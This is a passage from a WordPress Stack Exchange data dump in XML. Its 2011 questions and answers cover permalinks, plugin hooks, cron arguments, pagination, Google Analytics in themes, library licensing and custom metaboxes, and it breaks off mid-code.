  <row Id="12463" PostTypeId="2" ParentId="10467" CreationDate="2011-03-19T07:51:26.980" Score="0" ViewCount="" Body="&lt;p&gt;After trying everything out, nothing worked but then all of a sudden, deleting .htaccess file and re-saving permalinks did the job.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T07:51:26.980" CommentCount="1" />
  <row Id="12464" PostTypeId="2" ParentId="3605" CreationDate="2011-03-19T07:57:54.723" Score="0" ViewCount="" Body="&lt;p&gt;If you would like to use the first image of your post as the thumbnail with a fallback to something like your logo, try my plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&lt;/a&gt;&#xA;Explanation for adding the fallback logo image is at &lt;a href=&quot;http://blog.ashfame.com/?p=888&quot; rel=&quot;nofollow&quot;&gt;http://blog.ashfame.com/?p=888&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T07:57:54.723" />
  <row Id="12465" PostTypeId="2" ParentId="12444" CreationDate="2011-03-19T08:05:02.703" Score="1" ViewCount="" Body="&lt;p&gt;Save your existing &lt;code&gt;.htaccess&lt;/code&gt; file by renaming it to &lt;code&gt;backup.htaccess&lt;/code&gt; &amp;amp; then re-save your permalinks which will create a new &lt;code&gt;.htaccess&lt;/code&gt; file. That solves issues most of the time.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T08:05:02.703" CommentCount="5" />
  <row Id="12467" PostTypeId="2" ParentId="3605" CreationDate="2011-03-19T09:40:28.190" Score="2" ViewCount="" Body="&lt;p&gt;Facebook now uses opengraph protocol. You can add images using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://YOUR_IMAGE_URL&quot; /&amp;gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line to your page header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use my plugin to do this automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just does this job and no settings are needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shailan.com/wordpress/plugins/facebook-meta-tags-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://shailan.com/wordpress/plugins/facebook-meta-tags-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4052" LastActivityDate="2011-03-19T09:40:28.190" />
  <row Id="12468" PostTypeId="1" CreationDate="2011-03-19T09:47:09.207" Score="1" ViewCount="103" Body="&lt;p&gt;I have a scheduled event that runs twice daily in my plugin, the action is registered with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('fhprw_action','fhprw_check_fetch'); &#xA;&#xA;function fhprw_check_fetch($args){&#xA;  $type=$args['type'];&#xA;&#xA;//do stuff according to $type&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I manually call a &lt;code&gt;do_action('fhprw_action',array('type'=&amp;gt;'uk'));&lt;/code&gt; when a widget is updated then the function receives $args as an array and I can get $type from $args['type'] no problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I schedule an event with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_schedule_event(time() , 'twicedaily', 'fhprw_action',array('type'=&amp;gt;$instance['type'])); // ($instance['type'] will be 'uk')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the function receives $args as a string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$args = 'uk' instead of array('type'=&gt;'uk');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why is the function not receiving an array for $args when it is called by the cron?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scheduled events call the callback function with a list of parameters, not an array of parameters so my callback function for the action would receive $arg1,$arg2 etc and wouldn't be able to accept an associative array&lt;/p&gt;&#xA;" OwnerUserId="699" LastEditorUserId="699" LastEditorDisplayName="" LastEditDate="2011-03-19T15:04:31.210" LastActivityDate="2011-08-17T03:25:48.777" Title="how to set array of args for scheduled event?" Tags="&lt;events&gt;&lt;cron&gt;&lt;add-action&gt;" AnswerCount="1" />
  <row Id="12470" PostTypeId="1" AcceptedAnswerId="12478" CreationDate="2011-03-19T10:19:10.240" Score="0" ViewCount="162" Body="&lt;p&gt;I like to create child plugin..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one parent plugin named X . This will work independent( like other existing plugins).&#xA;now i decided  to add some extra futures to that plugin X(like upgrade).so i want to create extra futures with another plugin this will depend on X . this will not work with out X . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How cam i do this ? &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-03-19T11:23:10.137" Title="how to create child WordPress plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="12471" PostTypeId="2" ParentId="12456" CreationDate="2011-03-19T10:37:54.233" Score="1" ViewCount="" Body="&lt;p&gt;To make your life easier use one of the &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/pagination&quot; rel=&quot;nofollow&quot;&gt;many pagination plugins&lt;/a&gt; or ones that i use all the time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;WP-PageNavi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-paginate/&quot; rel=&quot;nofollow&quot;&gt;WP-Paginate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and in the case of these two its a matter of activating the plugin , setting up a few options and just drop a line of code to your page, for example if you use WP-PageNavi then in your code change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;    &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Pictures'); ?&amp;gt;&#xA;    &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;&amp;lt;?php $custom_posts-&amp;gt;query(array('category_name' =&amp;gt; 'Pictures', 'paged' =&amp;gt; get_query_var('paged'))); ?&amp;gt;&#xA;&amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;wp_pagenavi( array( 'query' =&amp;gt; $custom_posts ) );&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see i added the &quot;paged&quot; parameter to the query and after your loop ended i called &lt;code&gt;wp_pagenavi();&lt;/code&gt; but in a smarter way to a void errors and wp_reset_postdata(); to reset the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you don't want to use a plugin you can use this fine function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pagination( $query, $baseURL = get_bloginfo( $url ) ) {&#xA;    $page = $query-&amp;gt;query_vars[&quot;paged&quot;];&#xA;    if ( !$page ) $page = 1;&#xA;    $qs = $_SERVER[&quot;QUERY_STRING&quot;] ? &quot;?&quot;.$_SERVER[&quot;QUERY_STRING&quot;] : &quot;&quot;;&#xA;    // Only necessary if there's more posts than posts-per-page&#xA;    if ( $query-&amp;gt;found_posts &amp;gt; $query-&amp;gt;query_vars[&quot;posts_per_page&quot;] ) {&#xA;        echo '&amp;lt;ul class=&quot;paging&quot;&amp;gt;';&#xA;        // Previous link?&#xA;        if ( $page &amp;gt; 1 ) {&#xA;            echo '&amp;lt;li class=&quot;previous&quot;&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page-1).'/'.$qs.'&quot;&amp;gt;« previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        // Loop through pages&#xA;        for ( $i=1; $i &amp;lt;= $query-&amp;gt;max_num_pages; $i++ ) {&#xA;            // Current page or linked page?&#xA;            if ( $i == $page ) {&#xA;                echo '&amp;lt;li class=&quot;active&quot;&amp;gt;'.$i.'&amp;lt;/li&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.$i.'/'.$qs.'&quot;&amp;gt;'.$i.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        }&#xA;        // Next link?&#xA;        if ( $page &amp;lt; $query-&amp;gt;max_num_pages ) {&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page+1).'/'.$qs.'&quot;&amp;gt;next »&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is pretty self explanatory all you need to do is call it with the query as first argument and the current page permalink as the second.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T10:37:54.233" CommentCount="1" />
  <row Id="12472" PostTypeId="2" ParentId="12434" CreationDate="2011-03-19T10:59:12.560" Score="0" ViewCount="" Body="&lt;p&gt;I don't know of any hooks to add or filter the metabox so you can either create your own metabox to replace the custom taxonomy metabox or in this case just use JQuery &lt;code&gt;.append()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example is your taxonomy is named banners and its none - hierarchical (like tags) then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.tagsdiv-banners').append('&amp;lt;p&amp;gt;your short description here&amp;lt;/p&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if its hierarchical (like categories)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('.bannersdiv').append('&amp;lt;p&amp;gt;your short description here&amp;lt;/p&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the only difference is the name of the selector , for   none hierarchical taxonomies you use tagsdiv-{$tax_name} and for hierarchical taxonomies you use {$tax_name}div.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T10:59:12.560" CommentCount="1" />
  <row Id="12474" PostTypeId="1" AcceptedAnswerId="12476" CreationDate="2011-03-19T11:05:56.783" Score="1" ViewCount="127" Body="&lt;p&gt;I've got a self hosted blog and yesterday (18th March) the stats package stopped working. I'm getting the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your WordPress.com account, [account] is not authorized to view the stats of this blog.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;[account]&lt;/code&gt; is the name of my Wordpress.com account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted and reinstalled the plugins package and got the following message when I entered my API key:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The API key &quot;[apikey]&quot; belongs to the WordPress.com account &quot;[account]&quot;. If you want to use a different account, please enter the correct API key.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: the API key you use determines who will be registered as the &quot;owner&quot; of this blog in the WordPress.com database. Please choose your key accordingly. Do not use a temporary key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The recommended action is to &quot;Recover stats&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other choice is to recover the stats of my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what ever I do results in the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log into Wordpress.com with [account] I get an error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;You are not a member of this site.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the only account I have registered with WordPress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I link my blog back to WordPress.com?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I'm am running WordPress 3.1.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-22T14:02:07.847" LastActivityDate="2011-03-22T14:02:07.847" Title="I have a self hosted blog but now the WordPress.com stats plugin has stopped working" Tags="&lt;plugin-stats&gt;" AnswerCount="1" />
  <row Id="12476" PostTypeId="2" ParentId="12474" CreationDate="2011-03-19T11:17:56.453" Score="3" ViewCount="" Body="&lt;p&gt;Switch to the new jetpack plugin and you will be fine.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T11:17:56.453" CommentCount="1" />
  <row Id="12477" PostTypeId="2" ParentId="12470" CreationDate="2011-03-19T11:22:14.047" Score="2" ViewCount="" Body="&lt;p&gt;Make some hooks in your parent plugin to which the child plugin can attach their own function. Also wrap the child plugin in &lt;code&gt;if(function_exists('parent-plugin-function'))&lt;/code&gt; or &lt;code&gt;class_exists&lt;/code&gt; if its a class.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T11:22:14.047" />
  <row Id="12478" PostTypeId="2" ParentId="12470" CreationDate="2011-03-19T11:23:10.137" Score="5" ViewCount="" Body="&lt;p&gt;the Best way to do this is have your X plugin made with its own hooks for actions and filters so new plugins (in your case Y) could interact with plugin X's functions and data.&#xA;Defining your own hooks is fairly easy and simple. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Action Hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;from the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Actions are the hooks that the&#xA;  WordPress core launches at specific&#xA;  points during execution, or when&#xA;  specific events occur. Your plugin can&#xA;  specify that one or more of its PHP&#xA;  functions are executed at these&#xA;  points, using the Action API.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;example of a new action hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function whatever(){&#xA;   //regular stuff you do normally &#xA;  do_action('Name-Of-Your-Action-hook', $args1,$args2)&#xA;  //regular stuff you do normally&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we can interact with that function and use its arguments ($args1,$args2) using 'Name-Of-Your_hook' hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('Name-Of-Your-Action-hook','hook_function_callback');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Filter Hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;from the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Filters are the hooks that WordPress&#xA;  launches to modify text of various&#xA;  types before adding it to the database&#xA;  or sending it to the browser screen.&#xA;  Your plugin can specify that one or&#xA;  more of its PHP functions is executed&#xA;  to modify specific types of text at&#xA;  these times, using the Filter API.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;example of a new filter hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function whatever(){&#xA;   //regular stuff you do normally &#xA;   $output = apply_filters('Name-Of-Your-Filter-hook', $output,$args1,$args2)&#xA;  //regular stuff you do normally&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we can interact with that function , filter $output use and its arguments ($args1,$args2) using 'Name-Of-Your-Filter-hook' hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('Name-Of-Your_hook','hook_function_callback');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A good example to that would be &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;contact form 7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact Form 7 - Campaign Monitor&#xA;Addon&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7 Dynamic Text Extension&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7 Calendar&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7 Textarea Wordcount&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7 Customfield in mail&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7 to Database Extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and many more which all (most) are plugins that extend the functionality of Contact Form 7 based on its hooks.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T11:23:10.137" />
  <row Id="12479" PostTypeId="2" ParentId="12457" CreationDate="2011-03-19T12:00:37.853" Score="1" ViewCount="" Body="&lt;p&gt;This looks like a query generated as part of the search facility within Wordpress.  For example, a visitor has been to your site and typed the word 'true' into your search box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a large number of posts/pages/etc in your Wordpress installation, then the only way you could optimise this query is to use fulltext indexing.  This would mean actually changing the functionality of the search facility within the Wordpress core.  I'm not too hot on fulltext indexing within MySQL unfortunately, else I would be able to offer more help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be a good starting point though: &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4054" LastActivityDate="2011-03-19T12:00:37.853" CommentCount="1" />
  <row Id="12480" PostTypeId="2" ParentId="12455" CreationDate="2011-03-19T12:05:30.063" Score="1" ViewCount="" Body="&lt;p&gt;What you're asking for is likely to be possible using a plugin to handle the shortcode.  However, I cannot work out from what you've posted what you're trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you be a bit more detailed in what you're trying to achieve?  Rather than giving us the desired outcome, a bit of information on how to get there might be more useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="4054" LastActivityDate="2011-03-19T12:05:30.063" CommentCount="3" />
  <row Id="12482" PostTypeId="2" ParentId="12468" CreationDate="2011-03-19T12:27:33.107" Score="0" ViewCount="" Body="&lt;p&gt;It could be the phrasing of the array so try setting the array outside the &lt;code&gt;wp_schedule_event&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('type'=&amp;gt;$instance['type']);&#xA;wp_schedule_event(time() , 'twicedaily', 'fhprw_action',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T12:27:33.107" CommentCount="2" />
  <row Id="12484" PostTypeId="1" AcceptedAnswerId="15476" CreationDate="2011-03-19T13:42:06.697" Score="1" ViewCount="110" Body="&lt;p&gt;Did anyone test if this action is being executed on theme upgrade?&#xA;Are there any other actions I could use to attach a theme uninstall function?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-23T22:11:58.743" Title="Does the switch_theme action run when you're upgrading a theme?" Tags="&lt;theme-development&gt;&lt;actions&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="12485" PostTypeId="1" AcceptedAnswerId="12486" CreationDate="2011-03-19T14:02:40.620" Score="0" ViewCount="122" Body="&lt;p&gt;I'm doing up a WordPress theme at the moment, and I want users to be able to add Google Analytics to their site by just adding their tracking code -- you know, the &lt;code&gt;UA-20149670-1&lt;/code&gt; -type number thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have all the Google Analytics JavaScript code sitting in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of my pages, with the tracking code being set by the user via a theme option text input form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the user &lt;em&gt;doesn't&lt;/em&gt; add a tracking code, then all the Google JavaScript is still left sitting in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, without a tracking code, bloating up the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I code this so that the Google Analytics code only appears after the user puts in their tracking code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, at the moment the Google Analytics code is all still in &lt;code&gt;header.php&lt;/code&gt; -- ideally I'd like to move it instead to &lt;code&gt;functions.php&lt;/code&gt;. How best would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-04-09T10:27:43.707" Title="Hiding Google Analytics code based on theme options" Tags="&lt;functions&gt;&lt;theme-options&gt;&lt;google-analytics&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12486" PostTypeId="2" ParentId="12485" CreationDate="2011-03-19T14:11:01.560" Score="3" ViewCount="" Body="&lt;p&gt;Take the GA code from your header and wrap it in a function hooked to &lt;code&gt;wp_head&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __analytics_head()&#xA;{&#xA;    $options = get_option( 'themename_theme_options' );&#xA;    if ( !empty( $options['analytics'] ) ) :&#xA;    ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var _gaq = _gaq || [];&#xA;    _gaq.push(['_setAccount', '&amp;lt;?php echo esc_js( $options['analytics'] ) ; ?&amp;gt;']);&#xA;    _gaq.push(['_trackPageview']);&#xA;    (function() {&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xA;    })();&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    endif;&#xA;}&#xA;add_action( 'wp_head', '__analytics_head', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is only guideline code - the way you retrieve your options may vary - but the idea is to check if a GA account has been set, and if so, proceed to print the script.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-04-09T10:27:43.707" LastActivityDate="2011-04-09T10:27:43.707" CommentCount="5" />
  <row Id="12487" PostTypeId="2" ParentId="12485" CreationDate="2011-03-19T14:32:42.040" Score="-4" ViewCount="" Body="&lt;p&gt;on a sidenote; the Analytics code should be sitting in the footer...&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-03-19T14:32:42.040" CommentCount="4" />
  <row Id="12488" PostTypeId="1" AcceptedAnswerId="12528" CreationDate="2011-03-19T14:35:00.267" Score="0" ViewCount="182" Body="&lt;p&gt;Considering using flot for graphs in plugin and a little lost with dependencies and licensing here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WordPress repository &lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;demands GPLv2-compatible&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/flot/&quot; rel=&quot;nofollow&quot;&gt;flot is under MIT license&lt;/a&gt;, which is GPL-compatible.&lt;/li&gt;&#xA;&lt;li&gt;flot uses &lt;a href=&quot;http://code.google.com/p/explorercanvas/&quot; rel=&quot;nofollow&quot;&gt;excanvas (for IE compatibility) under Apache License 2.0&lt;/a&gt; which is compatible to GPLv3, but not v2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So is or is not flot compatible to repository?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside - I had started wiki-style question if you want to suggest and discuss alternative libraries &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12493/graphing-libraries-for-wordpress&quot;&gt;Graphing libraries for WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-19T19:01:24.270" LastActivityDate="2011-03-20T08:46:35.230" Title="Hosting plugin with excanvas (dependency of flot, jqPlot and more) in official repository?" Tags="&lt;repository&gt;&lt;licensing&gt;&lt;flot&gt;" AnswerCount="4" CommentCount="6" />
  <row Id="12489" PostTypeId="2" ParentId="9898" CreationDate="2011-03-19T15:02:10.607" Score="1" ViewCount="" Body="&lt;p&gt;Still not sure what exactly what you aiming for, but having come back to this question i wanted to at least try to offer a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try this out, and see if that's the kind of thing you had in mind with the dropdown... ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'add_inventory_metaboxes' );&#xA;function add_inventory_metaboxes() {&#xA;    add_meta_box('inventory_information', 'Inventory Information', 'inventory_information', 'inventory', 'side', 'default');&#xA;}&#xA;&#xA;function inventory_dropdown_opts() {&#xA;    return array(&#xA;        'Option 1' =&amp;gt; 1,&#xA;        'Option 2' =&amp;gt; 2,&#xA;        'Option 3' =&amp;gt; 3,&#xA;        'Option 4' =&amp;gt; 4,&#xA;    );&#xA;}&#xA;&#xA;function inventory_information() {&#xA;    global $post;&#xA;&#xA;    $stk_num = get_post_meta( $post-&amp;gt;ID, '_dappcf_i_stocknum', true );&#xA;    $vin_num = get_post_meta( $post-&amp;gt;ID, '_dappcf_i_vin', true );&#xA;    $drp_dwn = get_post_meta( $post-&amp;gt;ID, '_dappcf_i_dropdown', true );&#xA;    if( empty( $drp_dwn ) )&#xA;        $drp_dwn = 0;&#xA;&#xA;    wp_nonce_field( 'inventory_nonce', 'inventorymeta_noncename' );&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Stock #&amp;lt;/label&amp;gt; &#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_stocknum&quot; value=&quot;&amp;lt;?php echo $stk_num; ?&amp;gt;&quot; class=&quot;small-text&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;VIN&amp;lt;/label&amp;gt; &#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_vin&quot; value=&quot;&amp;lt;?php echo $vin_num; ?&amp;gt;&quot; class=&quot;widefat&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Inventory class&amp;lt;/label&amp;gt; &#xA;        &amp;lt;select name=&quot;_dappcf_i_dropdown&quot; class=&quot;widefat&quot;&amp;gt;&#xA;        &amp;lt;?php foreach( inventory_dropdown_opts() as $text =&amp;gt; $value ) : ?&amp;gt;&#xA;            &amp;lt;option value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot;&amp;lt;?php selected( $value == $drp_dwn ); ?&amp;gt;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'txpbs_save_events_meta', 1, 2);&#xA;&#xA;function txpbs_save_events_meta( $post_id, $post ) {&#xA;    if( &#xA;        !wp_verify_nonce( $_POST['inventorymeta_noncename'], 'inventory_nonce' ) || &#xA;        !current_user_can( 'edit_post', $post_id ) || &#xA;        $post-&amp;gt;post_type == 'revision'&#xA;        )&#xA;        return;&#xA;&#xA;    foreach( array( '_dappcf_i_stocknum', '_dappcf_i_vin', '_dappcf_i_dropdown' ) as $field ) {&#xA;        if( isset( $_POST[$field] ) ) {&#xA;            